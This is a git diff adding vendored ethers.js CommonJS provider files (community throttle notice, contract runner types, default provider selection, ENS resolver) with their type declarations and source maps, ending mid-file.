+exports.showThrottleMessage = void 0; +// Show the throttle message only once per service +const shown = new Set(); +/** + * Displays a warning in the console when the community resource is + * being used too heavily by the app, recommending the developer + * acquire their own credentials instead of using the community + * credentials. + * + * The notification will only occur once per service. + */ +function showThrottleMessage(service) { + if (shown.has(service)) { + return; + } + shown.add(service); + console.log("========= NOTICE ========="); + console.log(`Request-Rate Exceeded for ${service} (this message will not be repeated)`); + console.log(""); + console.log("The default API keys for each service are provided as a highly-throttled,"); + console.log("community resource for low-traffic projects and early prototyping."); + console.log(""); + console.log("While your application will continue to function, we highly recommended"); + console.log("signing up for your own API keys to improve performance, increase your"); + console.log("request rate/limit and enable other perks, such as metrics and advanced APIs."); + console.log(""); + console.log("For more details: https:/\/docs.ethers.org/api-keys/"); + console.log("=========================="); +} +exports.showThrottleMessage = showThrottleMessage; +//# sourceMappingURL=community.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/community.js.map b/node_modules/ethers/lib.commonjs/providers/community.js.map new file mode 100644 index 000000000000..75fa41cc6cd4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/community.js.map @@ -0,0 +1 @@ +{"version":3,"file":"community.js","sourceRoot":"","sources":["../../src.ts/providers/community.ts"],"names":[],"mappings":";AAAA;;;;;;GAMG;;;AAeH,kDAAkD;AAClD,MAAM,KAAK,GAAgB,IAAI,GAAG,EAAE,CAAC;AAErC;;;;;;;GAOG;AACH,SAAgB,mBAAmB,CAAC,OAAe;IAC/C,IAAI,KAAK,CAAC,GAAG,CAAC,OAAO,CAAC,EAAE;QAAE,OAAO;KAAE;IACnC,KAAK,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC;IAEnB,OAAO,CAAC,GAAG,CAAC,4BAA4B,CAAC,CAAA;IACzC,OAAO,CAAC,GAAG,CAAC,6BAA8B,OAAQ,sCAAsC,CAAC,CAAC;IAC1F,OAAO,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC;IAChB,OAAO,CAAC,GAAG,CAAC,2EAA2E,CAAC,CAAC;IACzF,OAAO,CAAC,GAAG,CAAC,oEAAoE,CAAC,CAAC;IAClF,OAAO,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC;IAChB,OAAO,CAAC,GAAG,CAAC,yEAAyE,CAAC,CAAC;IACvF,OAAO,CAAC,GAAG,CAAC,wEAAwE,CAAC,CAAC;IACtF,OAAO,CAAC,GAAG,CAAC,+EAA+E,CAAC,CAAC;IAC7F,OAAO,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC;IAChB,OAAO,CAAC,GAAG,CAAC,sDAAsD,CAAC,CAAC;IACpE,OAAO,CAAC,GAAG,CAAC,4BAA4B,CAAC,CAAC;AAC9C,CAAC;AAhBD,kDAgBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/contracts.d.ts b/node_modules/ethers/lib.commonjs/providers/contracts.d.ts new file mode 100644 index 000000000000..e5f1d42d692d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/contracts.d.ts @@ -0,0 +1,36 @@ +import type { Provider, TransactionRequest, TransactionResponse } from "./provider.js"; +/** + * A **ContractRunner** is a generic interface which defines an object + * capable of interacting with a Contract on the network. + * + * The more operations supported, the more utility it is capable of. + * + * The most common ContractRunners are [Providers](Provider) which enable + * read-only access and [Signers](Signer) which enable write-access. + */ +export interface ContractRunner { + /** + * The provider used for necessary state querying operations. + * + * This can also point to the **ContractRunner** itself, in the + * case of an [[AbstractProvider]]. + */ + provider: null | Provider; + /** + * Required to estimate gas. + */ + estimateGas?: (tx: TransactionRequest) => Promise; + /** + * Required for pure, view or static calls to contracts. + */ + call?: (tx: TransactionRequest) => Promise; + /** + * Required to support ENS names + */ + resolveName?: (name: string) => Promise; + /** + * Required for state mutating calls + */ + sendTransaction?: (tx: TransactionRequest) => Promise; +} +//# sourceMappingURL=contracts.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/contracts.d.ts.map b/node_modules/ethers/lib.commonjs/providers/contracts.d.ts.map new file mode 100644 index 000000000000..078fdc870b2a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/contracts.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"contracts.d.ts","sourceRoot":"","sources":["../../src.ts/providers/contracts.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EACR,QAAQ,EAAE,kBAAkB,EAAE,mBAAmB,EACpD,MAAM,eAAe,CAAC;AAEvB;;;;;;;;GAQG;AACH,MAAM,WAAW,cAAc;IAC3B;;;;;OAKG;IACH,QAAQ,EAAE,IAAI,GAAG,QAAQ,CAAC;IAE1B;;OAEG;IACH,WAAW,CAAC,EAAE,CAAC,EAAE,EAAE,kBAAkB,KAAK,OAAO,CAAC,MAAM,CAAC,CAAC;IAE1D;;OAEG;IACH,IAAI,CAAC,EAAE,CAAC,EAAE,EAAE,kBAAkB,KAAK,OAAO,CAAC,MAAM,CAAC,CAAC;IAEnD;;OAEG;IACH,WAAW,CAAC,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,OAAO,CAAC,IAAI,GAAG,MAAM,CAAC,CAAC;IAEvD;;OAEG;IACH,eAAe,CAAC,EAAE,CAAC,EAAE,EAAE,kBAAkB,KAAK,OAAO,CAAC,mBAAmB,CAAC,CAAC;CAC9E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/contracts.js b/node_modules/ethers/lib.commonjs/providers/contracts.js new file mode 100644 index 000000000000..705cd38a958c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/contracts.js @@ -0,0 +1,3 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +//# sourceMappingURL=contracts.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/contracts.js.map b/node_modules/ethers/lib.commonjs/providers/contracts.js.map new file mode 100644 index 000000000000..42ac4de899ff --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/contracts.js.map @@ -0,0 +1 @@ +{"version":3,"file":"contracts.js","sourceRoot":"","sources":["../../src.ts/providers/contracts.ts"],"names":[],"mappings":""} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/default-provider.d.ts b/node_modules/ethers/lib.commonjs/providers/default-provider.d.ts new file mode 100644 index 000000000000..73704c7649c5 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/default-provider.d.ts @@ -0,0 +1,49 @@ +import type { AbstractProvider } from "./abstract-provider.js"; +import type { Networkish } from "./network.js"; +import { WebSocketLike } from "./provider-websocket.js"; +/** + * Returns a default provider for %%network%%. + * + * If %%network%% is a [[WebSocketLike]] or string that begins with + * ``"ws:"`` or ``"wss:"``, a [[WebSocketProvider]] is returned backed + * by that WebSocket or URL. + * + * If %%network%% is a string that begins with ``"HTTP:"`` or ``"HTTPS:"``, + * a [[JsonRpcProvider]] is returned connected to that URL. + * + * Otherwise, a default provider is created backed by well-known public + * Web3 backends (such as [[link-infura]]) using community-provided API + * keys. + * + * The %%options%% allows specifying custom API keys per backend (setting + * an API key to ``"-"`` will omit that provider) and ``options.exclusive`` + * can be set to either a backend name or and array of backend names, which + * will whitelist **only** those backends. + * + * Current backend strings supported are: + * - ``"alchemy"`` + * - ``"ankr"`` + * - ``"cloudflare"`` + * - ``"chainstack"`` + * - ``"etherscan"`` + * - ``"infura"`` + * - ``"publicPolygon"`` + * - ``"quicknode"`` + * + * @example: + * // Connect to a local Geth node + * provider = getDefaultProvider("http://localhost:8545/"); + * + * // Connect to Ethereum mainnet with any current and future + * // third-party services available + * provider = getDefaultProvider("mainnet"); + * + * // Connect to Polygon, but only allow Etherscan and + * // INFURA and use "MY_API_KEY" in calls to Etherscan. + * provider = getDefaultProvider("matic", { + * etherscan: "MY_API_KEY", + * exclusive: [ "etherscan", "infura" ] + * }); + */ +export declare function getDefaultProvider(network?: string | Networkish | WebSocketLike, options?: any): AbstractProvider; +//# sourceMappingURL=default-provider.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/default-provider.d.ts.map b/node_modules/ethers/lib.commonjs/providers/default-provider.d.ts.map new file mode 100644 index 000000000000..1cea7a66f338 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/default-provider.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"default-provider.d.ts","sourceRoot":"","sources":["../../src.ts/providers/default-provider.ts"],"names":[],"mappings":"AAkBA,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAC/D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAC/C,OAAO,EAAE,aAAa,EAAE,MAAM,yBAAyB,CAAC;AASxD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2CG;AACH,wBAAgB,kBAAkB,CAAC,OAAO,CAAC,EAAE,MAAM,GAAG,UAAU,GAAG,aAAa,EAAE,OAAO,CAAC,EAAE,GAAG,GAAG,gBAAgB,CAgIjH"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/default-provider.js b/node_modules/ethers/lib.commonjs/providers/default-provider.js new file mode 100644 index 000000000000..c72dcb1099b7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/default-provider.js @@ -0,0 +1,200 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.getDefaultProvider = void 0; +const index_js_1 = require("../utils/index.js"); +const provider_ankr_js_1 = require("./provider-ankr.js"); +const provider_alchemy_js_1 = require("./provider-alchemy.js"); +//import { BlockscoutProvider } from "./provider-blockscout.js"; +const provider_chainstack_js_1 = require("./provider-chainstack.js"); +const provider_cloudflare_js_1 = require("./provider-cloudflare.js"); +const provider_etherscan_js_1 = require("./provider-etherscan.js"); +const provider_infura_js_1 = require("./provider-infura.js"); +//import { PocketProvider } from "./provider-pocket.js"; +const provider_quicknode_js_1 = require("./provider-quicknode.js"); +const provider_fallback_js_1 = require("./provider-fallback.js"); +const provider_jsonrpc_js_1 = require("./provider-jsonrpc.js"); +const network_js_1 = require("./network.js"); +const provider_websocket_js_1 = require("./provider-websocket.js"); +function isWebSocketLike(value) { + return (value && typeof (value.send) === "function" && + typeof (value.close) === "function"); +} +const Testnets = "goerli kovan sepolia classicKotti optimism-goerli arbitrum-goerli matic-mumbai bnbt".split(" "); +/** + * Returns a default provider for %%network%%. + * + * If %%network%% is a [[WebSocketLike]] or string that begins with + * ``"ws:"`` or ``"wss:"``, a [[WebSocketProvider]] is returned backed + * by that WebSocket or URL. + * + * If %%network%% is a string that begins with ``"HTTP:"`` or ``"HTTPS:"``, + * a [[JsonRpcProvider]] is returned connected to that URL. + * + * Otherwise, a default provider is created backed by well-known public + * Web3 backends (such as [[link-infura]]) using community-provided API + * keys. + * + * The %%options%% allows specifying custom API keys per backend (setting + * an API key to ``"-"`` will omit that provider) and ``options.exclusive`` + * can be set to either a backend name or and array of backend names, which + * will whitelist **only** those backends. + * + * Current backend strings supported are: + * - ``"alchemy"`` + * - ``"ankr"`` + * - ``"cloudflare"`` + * - ``"chainstack"`` + * - ``"etherscan"`` + * - ``"infura"`` + * - ``"publicPolygon"`` + * - ``"quicknode"`` + * + * @example: + * // Connect to a local Geth node + * provider = getDefaultProvider("http://localhost:8545/"); + * + * // Connect to Ethereum mainnet with any current and future + * // third-party services available + * provider = getDefaultProvider("mainnet"); + * + * // Connect to Polygon, but only allow Etherscan and + * // INFURA and use "MY_API_KEY" in calls to Etherscan. + * provider = getDefaultProvider("matic", { + * etherscan: "MY_API_KEY", + * exclusive: [ "etherscan", "infura" ] + * }); + */ +function getDefaultProvider(network, options) { + if (options == null) { + options = {}; + } + const allowService = (name) => { + if (options[name] === "-") { + return false; + } + if (typeof (options.exclusive) === "string") { + return (name === options.exclusive); + } + if (Array.isArray(options.exclusive)) { + return (options.exclusive.indexOf(name) !== -1); + } + return true; + }; + if (typeof (network) === "string" && network.match(/^https?:/)) { + return new provider_jsonrpc_js_1.JsonRpcProvider(network); + } + if (typeof (network) === "string" && network.match(/^wss?:/) || isWebSocketLike(network)) { + return new provider_websocket_js_1.WebSocketProvider(network); + } + // Get the network and name, if possible + let staticNetwork = null; + try { + staticNetwork = network_js_1.Network.from(network); + } + catch (error) { } + const providers = []; + if (allowService("publicPolygon") && staticNetwork) { + if (staticNetwork.name === "matic") { + providers.push(new provider_jsonrpc_js_1.JsonRpcProvider("https:/\/polygon-rpc.com/", staticNetwork, { staticNetwork })); + } + else if (staticNetwork.name === "matic-amoy") { + providers.push(new provider_jsonrpc_js_1.JsonRpcProvider("https:/\/rpc-amoy.polygon.technology/", staticNetwork, { staticNetwork })); + } + } + if (allowService("alchemy")) { + try { + providers.push(new provider_alchemy_js_1.AlchemyProvider(network, options.alchemy)); + } + catch (error) { } + } + if (allowService("ankr") && options.ankr != null) { + try { + providers.push(new provider_ankr_js_1.AnkrProvider(network, options.ankr)); + } + catch (error) { } + } + /* Temporarily remove until custom error issue is fixed + if (allowService("blockscout")) { + try { + providers.push(new BlockscoutProvider(network, options.blockscout)); + } catch (error) { } + } + */ + if (allowService("chainstack")) { + try { + providers.push(new provider_chainstack_js_1.ChainstackProvider(network, options.chainstack)); + } + catch (error) { } + } + if (allowService("cloudflare")) { + try { + providers.push(new provider_cloudflare_js_1.CloudflareProvider(network)); + } + catch (error) { } + } + if (allowService("etherscan")) { + try { + providers.push(new provider_etherscan_js_1.EtherscanProvider(network, options.etherscan)); + } + catch (error) { } + } + if (allowService("infura")) { + try { + let projectId = options.infura; + let projectSecret = undefined; + if (typeof (projectId) === "object") { + projectSecret = projectId.projectSecret; + projectId = projectId.projectId; + } + providers.push(new provider_infura_js_1.InfuraProvider(network, projectId, projectSecret)); + } + catch (error) { } + } + /* + if (options.pocket !== "-") { + try { + let appId = options.pocket; + let secretKey: undefined | string = undefined; + let loadBalancer: undefined | boolean = undefined; + if (typeof(appId) === "object") { + loadBalancer = !!appId.loadBalancer; + secretKey = appId.secretKey; + appId = appId.appId; + } + providers.push(new PocketProvider(network, appId, secretKey, loadBalancer)); + } catch (error) { console.log(error); } + } + */ + if (allowService("quicknode")) { + try { + let token = options.quicknode; + providers.push(new provider_quicknode_js_1.QuickNodeProvider(network, token)); + } + catch (error) { } + } + (0, index_js_1.assert)(providers.length, "unsupported default network", "UNSUPPORTED_OPERATION", { + operation: "getDefaultProvider" + }); + // No need for a FallbackProvider + if (providers.length === 1) { + return providers[0]; + } + // We use the floor because public third-party providers can be unreliable, + // so a low number of providers with a large quorum will fail too often + let quorum = Math.floor(providers.length / 2); + if (quorum > 2) { + quorum = 2; + } + // Testnets don't need as strong a security gaurantee and speed is + // more useful during testing + if (staticNetwork && Testnets.indexOf(staticNetwork.name) !== -1) { + quorum = 1; + } + // Provided override qorum takes priority + if (options && options.quorum) { + quorum = options.quorum; + } + return new provider_fallback_js_1.FallbackProvider(providers, undefined, { quorum }); +} +exports.getDefaultProvider = getDefaultProvider; +//# sourceMappingURL=default-provider.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/default-provider.js.map b/node_modules/ethers/lib.commonjs/providers/default-provider.js.map new file mode 100644 index 000000000000..3606f6eb4865 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/default-provider.js.map @@ -0,0 +1 @@ +{"version":3,"file":"default-provider.js","sourceRoot":"","sources":["../../src.ts/providers/default-provider.ts"],"names":[],"mappings":";;;AACA,gDAA2C;AAE3C,yDAAkD;AAClD,+DAAwD;AACxD,gEAAgE;AAChE,qEAA8D;AAC9D,qEAA8D;AAC9D,mEAA4D;AAC5D,6DAAsD;AACtD,wDAAwD;AACxD,mEAA4D;AAE5D,iEAA0D;AAC1D,+DAAwD;AACxD,6CAAuC;AACvC,mEAA4D;AAM5D,SAAS,eAAe,CAAC,KAAU;IAC/B,OAAO,CAAC,KAAK,IAAI,OAAM,CAAC,KAAK,CAAC,IAAI,CAAC,KAAK,UAAU;QAC9C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G,IAAI,CAAC,KAAK,CAAC,SAAS,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;IAC9C,IAAI,MAAM,GAAG,CAAC,EAAE;QAAE,MAAM,GAAG,CAAC,CAAC;KAAE;IAE/B,kEAAkE;IAClE,6BAA6B;IAC7B,IAAI,aAAa,IAAI,QAAQ,CAAC,OAAO,CAAC,aAAa,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,EAAE;QAAE,MAAM,GAAG,CAAC,CAAC;KAAE;IAEjF,yCAAyC;IACzC,IAAI,OAAO,IAAI,OAAO,CAAC,MAAM,EAAE;QAAE,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC;KAAE;IAE3D,OAAO,IAAI,uCAAgB,CAAC,SAAS,EAAE,SAAS,EAAE,EAAE,MAAM,EAAE,CAAC,CAAC;AAClE,CAAC;AAhID,gDAgIC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/ens-resolver.d.ts b/node_modules/ethers/lib.commonjs/providers/ens-resolver.d.ts new file mode 100644 index 000000000000..8c3b37fe739a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/ens-resolver.d.ts @@ -0,0 +1,147 @@ +/** + * ENS is a service which allows easy-to-remember names to map to + * network addresses. + * + * @_section: api/providers/ens-resolver:ENS Resolver [about-ens-rsolver] + */ +import type { BytesLike } from "../utils/index.js"; +import type { AbstractProvider, AbstractProviderPlugin } from "./abstract-provider.js"; +import type { Provider } from "./provider.js"; +/** + * The type of data found during a steip during avatar resolution. + */ +export type AvatarLinkageType = "name" | "avatar" | "!avatar" | "url" | "data" | "ipfs" | "erc721" | "erc1155" | "!erc721-caip" | "!erc1155-caip" | "!owner" | "owner" | "!balance" | "balance" | "metadata-url-base" | "metadata-url-expanded" | "metadata-url" | "!metadata-url" | "!metadata" | "metadata" | "!imageUrl" | "imageUrl-ipfs" | "imageUrl" | "!imageUrl-ipfs"; +/** + * An individual record for each step during avatar resolution. + */ +export interface AvatarLinkage { + /** + * The type of linkage. + */ + type: AvatarLinkageType; + /** + * The linkage value. + */ + value: string; +} +/** + * When resolving an avatar for an ENS name, there are many + * steps involved, fetching metadata, validating results, et cetera. + * + * Some applications may wish to analyse this data, or use this data + * to diagnose promblems, so an **AvatarResult** provides details of + * each completed step during avatar resolution. + */ +export interface AvatarResult { + /** + * How the [[url]] was arrived at, resolving the many steps required + * for an avatar URL. + */ + linkage: Array; + /** + * The avatar URL or null if the avatar was not set, or there was + * an issue during validation (such as the address not owning the + * avatar or a metadata error). + */ + url: null | string; +} +/** + * A provider plugin super-class for processing multicoin address types. + */ +export declare abstract class MulticoinProviderPlugin implements AbstractProviderPlugin { + /** + * The name. + */ + readonly name: string; + /** + * Creates a new **MulticoinProviderPluing** for %%name%%. + */ + constructor(name: string); + connect(proivder: Provider): MulticoinProviderPlugin; + /** + * Returns ``true`` if %%coinType%% is supported by this plugin. + */ + supportsCoinType(coinType: number): boolean; + /** + * Resolves to the encoded %%address%% for %%coinType%%. + */ + encodeAddress(coinType: number, address: string): Promise; + /** + * Resolves to the decoded %%data%% for %%coinType%%. + */ + decodeAddress(coinType: number, data: BytesLike): Promise; +} +/** + * A **BasicMulticoinProviderPlugin** provides service for common + * coin types, which do not require additional libraries to encode or + * decode. + */ +export declare class BasicMulticoinProviderPlugin extends MulticoinProviderPlugin { + /** + * Creates a new **BasicMulticoinProviderPlugin**. + */ + constructor(); +} +/** + * A connected object to a resolved ENS name resolver, which can be + * used to query additional details. + */ +export declare class EnsResolver { + #private; + /** + * The connected provider. + */ + provider: AbstractProvider; + /** + * The address of the resolver. + */ + address: string; + /** + * The name this resolver was resolved against. + */ + name: string; + constructor(provider: AbstractProvider, address: string, name: string); + /** + * Resolves to true if the resolver supports wildcard resolution. + */ + supportsWildcard(): Promise; + /** + * Resolves to the address for %%coinType%% or null if the + * provided %%coinType%% has not been configured. + */ + getAddress(coinType?: number): Promise; + /** + * Resolves to the EIP-634 text record for %%key%%, or ``null`` + * if unconfigured. + */ + getText(key: string): Promise; + /** + * Rsolves to the content-hash or ``null`` if unconfigured. + */ + getContentHash(): Promise; + /** + * Resolves to the avatar url or ``null`` if the avatar is either + * unconfigured or incorrectly configured (e.g. references an NFT + * not owned by the address). + * + * If diagnosing issues with configurations, the [[_getAvatar]] + * method may be useful. + */ + getAvatar(): Promise; + /** + * When resolving an avatar, there are many steps involved, such + * fetching metadata and possibly validating ownership of an + * NFT. + * + * This method can be used to examine each step and the value it + * was working from. + */ + _getAvatar(): Promise; + static getEnsAddress(provider: Provider): Promise; + /** + * Resolve to the ENS resolver for %%name%% using %%provider%% or + * ``null`` if unconfigured. + */ + static fromName(provider: AbstractProvider, name: string): Promise; +} +//# sourceMappingURL=ens-resolver.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/ens-resolver.d.ts.map b/node_modules/ethers/lib.commonjs/providers/ens-resolver.d.ts.map new file mode 100644 index 000000000000..5bbaa89f0986 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/ens-resolver.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"ens-resolver.d.ts","sourceRoot":"","sources":["../../src.ts/providers/ens-resolver.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAeH,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAEnD,OAAO,KAAK,EAAE,gBAAgB,EAAE,sBAAsB,EAAE,MAAM,wBAAwB,CAAC;AAEvF,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAgB9C;;GAEG;AACH,MAAM,MAAM,iBAAiB,GAAG,MAAM,GAAG,QAAQ,GAAG,SAAS,GAAG,KAAK,GAAG,MAAM,GAAG,MAAM,GACnF,QAAQ,GAAG,SAAS,GAAG,cAAc,GAAG,eAAe,GACvD,QAAQ,GAAG,OAAO,GAAG,UAAU,GAAG,SAAS,GAC3C,mBAAmB,GAAG,uBAAuB,GAAG,cAAc,GAAG,eAAe,GAChF,WAAW,GAAG,UAAU,GACxB,WAAW,GAAG,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AAE,MAAM,GAAG,OAAO,CAAC,IAAI,GAAG,MAAM,CAAC;IAoD3D;;;OAGG;IACG,OAAO,CAAC,GAAG,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,GAAG,MAAM,CAAC;IAMlD;;OAEG;IACG,cAAc,IAAI,OAAO,CAAC,IAAI,GAAG,MAAM,CAAC;IA6B9C;;;;;;;OAOG;IACG,SAAS,IAAI,OAAO,CAAC,IAAI,GAAG,MAAM,CAAC;IAKzC;;;;;;;OAOG;IACG,UAAU,IAAI,OAAO,CAAC,YAAY,CAAC;WAgK5B,aAAa,CAAC,QAAQ,EAAE,QAAQ,GAAG,OAAO,CAAC,MAAM,CAAC;IAoC/D;;;OAGG;WACU,QAAQ,CAAC,QAAQ,EAAE,gBAAgB,EAAE,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,GAAG,WAAW,CAAC;CA2B/F"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/ens-resolver.js b/node_modules/ethers/lib.commonjs/providers/ens-resolver.js new file mode 100644 index 000000000000..2c3e2c751cbc --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/ens-resolver.js @@ -0,0 +1,502 @@ +"use strict"; +/** + * ENS is a service which allows easy-to-remember names to map to + * network addresses. + * + * @_section: api/providers/ens-resolver:ENS Resolver [about-ens-rsolver] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.EnsResolver = exports.BasicMulticoinProviderPlugin = exports.MulticoinProviderPlugin = void 0; +const index_js_1 = require("../address/index.js"); +const index_js_2 = require("../constants/index.js"); +const index_js_3 = require("../contract/index.js"); +const index_js_4 = require("../hash/index.js"); +const index_js_5 = require("../utils/index.js"); +// @TODO: This should use the fetch-data:ipfs gateway +// Trim off the ipfs:// prefix and return the default gateway URL +function getIpfsLink(link) { + if (link.match(/^ipfs:\/\/ipfs\//i)) { + link = link.substring(12); + } + else if (link.match(/^ipfs:\/\//i)) { + link = link.substring(7); + } + else { + (0, index_js_5.assertArgument)(false, "unsupported IPFS format", "link", link); + } + return `https:/\/gateway.ipfs.io/ipfs/${link}`; +} +; +; +/** + * A provider plugin super-class for processing multicoin address types. + */ +class MulticoinProviderPlugin { + /** + * The name. + */ + name; + /** + * Creates a new **MulticoinProviderPluing** for %%name%%. + */ + constructor(name) { + (0, index_js_5.defineProperties)(this, { name }); + } + connect(proivder) { + return this; + } + /** + * Returns ``true`` if %%coinType%% is supported by this plugin. + */ + supportsCoinType(coinType) { + return false; + } + /** + * Resolves to the encoded %%address%% for %%coinType%%. + */ + async encodeAddress(coinType, address) { + throw new Error("unsupported coin"); + } + /** + * Resolves to the decoded %%data%% for %%coinType%%. + */ + async decodeAddress(coinType, data) { + throw new Error("unsupported coin"); + } +} +exports.MulticoinProviderPlugin = MulticoinProviderPlugin; +const BasicMulticoinPluginId = "org.ethers.plugins.provider.BasicMulticoin"; +/** + * A **BasicMulticoinProviderPlugin** provides service for common + * coin types, which do not require additional libraries to encode or + * decode. + */ +class BasicMulticoinProviderPlugin extends MulticoinProviderPlugin { + /** + * Creates a new **BasicMulticoinProviderPlugin**. + */ + constructor() { + super(BasicMulticoinPluginId); + } +} +exports.BasicMulticoinProviderPlugin = BasicMulticoinProviderPlugin; +const matcherIpfs = new RegExp("^(ipfs):/\/(.*)$", "i"); +const matchers = [ + new RegExp("^(https):/\/(.*)$", "i"), + new RegExp("^(data):(.*)$", "i"), + matcherIpfs, + new RegExp("^eip155:[0-9]+/(erc[0-9]+):(.*)$", "i"), +]; +/** + * A connected object to a resolved ENS name resolver, which can be + * used to query additional details. + */ +class EnsResolver { + /** + * The connected provider. + */ + provider; + /** + * The address of the resolver. + */ + address; + /** + * The name this resolver was resolved against. + */ + name; + // For EIP-2544 names, the ancestor that provided the resolver + #supports2544; + #resolver; + constructor(provider, address, name) { + (0, index_js_5.defineProperties)(this, { provider, address, name }); + this.#supports2544 = null; + this.#resolver = new index_js_3.Contract(address, [ + "function supportsInterface(bytes4) view returns (bool)", + "function resolve(bytes, bytes) view returns (bytes)", + "function addr(bytes32) view returns (address)", + "function addr(bytes32, uint) view returns (bytes)", + "function text(bytes32, string) view returns (string)", + "function contenthash(bytes32) view returns (bytes)", + ], provider); + } + /** + * Resolves to true if the resolver supports wildcard resolution. + */ + async supportsWildcard() { + if (this.#supports2544 == null) { + this.#supports2544 = (async () => { + try { + return await this.#resolver.supportsInterface("0x9061b923"); + } + catch (error) { + // Wildcard resolvers must understand supportsInterface + // and return true. + if ((0, index_js_5.isError)(error, "CALL_EXCEPTION")) { + return false; + } + // Let future attempts try again... + this.#supports2544 = null; + throw error; + } + })(); + } + return await this.#supports2544; + } + async #fetch(funcName, params) { + params = (params || []).slice(); + const iface = this.#resolver.interface; + // The first parameters is always the nodehash + params.unshift((0, index_js_4.namehash)(this.name)); + let fragment = null; + if (await this.supportsWildcard()) { + fragment = iface.getFunction(funcName); + (0, index_js_5.assert)(fragment, "missing fragment", "UNKNOWN_ERROR", { + info: { funcName } + }); + params = [ + (0, index_js_4.dnsEncode)(this.name, 255), + iface.encodeFunctionData(fragment, params) + ]; + funcName = "resolve(bytes,bytes)"; + } + params.push({ + enableCcipRead: true + }); + try { + const result = await this.#resolver[funcName](...params); + if (fragment) { + return iface.decodeFunctionResult(fragment, result)[0]; + } + return result; + } + catch (error) { + if (!(0, index_js_5.isError)(error, "CALL_EXCEPTION")) { + throw error; + } + } + return null; + } + /** + * Resolves to the address for %%coinType%% or null if the + * provided %%coinType%% has not been configured. + */ + async getAddress(coinType) { + if (coinType == null) { + coinType = 60; + } + if (coinType === 60) { + try { + const result = await this.#fetch("addr(bytes32)"); + // No address + if (result == null || result === index_js_2.ZeroAddress) { + return null; + } + return result; + } + catch (error) { + if ((0, index_js_5.isError)(error, "CALL_EXCEPTION")) { + return null; + } + throw error; + } + } + // Try decoding its EVM canonical chain as an EVM chain address first + if (coinType >= 0 && coinType < 0x80000000) { + let ethCoinType = coinType + 0x80000000; + const data = await this.#fetch("addr(bytes32,uint)", [ethCoinType]); + if ((0, index_js_5.isHexString)(data, 20)) { + return (0, index_js_1.getAddress)(data); + } + } + let coinPlugin = null; + for (const plugin of this.provider.plugins) { + if (!(plugin instanceof MulticoinProviderPlugin)) { + continue; + } + if (plugin.supportsCoinType(coinType)) { + coinPlugin = plugin; + break; + } + } + if (coinPlugin == null) { + return null; + } + // keccak256("addr(bytes32,uint256") + const data = await this.#fetch("addr(bytes32,uint)", [coinType]); + // No address + if (data == null || data === "0x") { + return null; + } + // Compute the address + const address = await coinPlugin.decodeAddress(coinType, data); + if (address != null) { + return address; + } + (0, index_js_5.assert)(false, `invalid coin data`, "UNSUPPORTED_OPERATION", { + operation: `getAddress(${coinType})`, + info: { coinType, data } + }); + } + /** + * Resolves to the EIP-634 text record for %%key%%, or ``null`` + * if unconfigured. + */ + async getText(key) { + const data = await this.#fetch("text(bytes32,string)", [key]); + if (data == null || data === "0x") { + return null; + } + return data; + } + /** + * Rsolves to the content-hash or ``null`` if unconfigured. + */ + async getContentHash() { + // keccak256("contenthash()") + const data = await this.#fetch("contenthash(bytes32)"); + // No contenthash + if (data == null || data === "0x") { + return null; + } + // IPFS (CID: 1, Type: 70=DAG-PB, 72=libp2p-key) + const ipfs = data.match(/^0x(e3010170|e5010172)(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/); + if (ipfs) { + const scheme = (ipfs[1] === "e3010170") ? "ipfs" : "ipns"; + const length = parseInt(ipfs[4], 16); + if (ipfs[5].length === length * 2) { + return `${scheme}:/\/${(0, index_js_5.encodeBase58)("0x" + ipfs[2])}`; + } + } + // Swarm 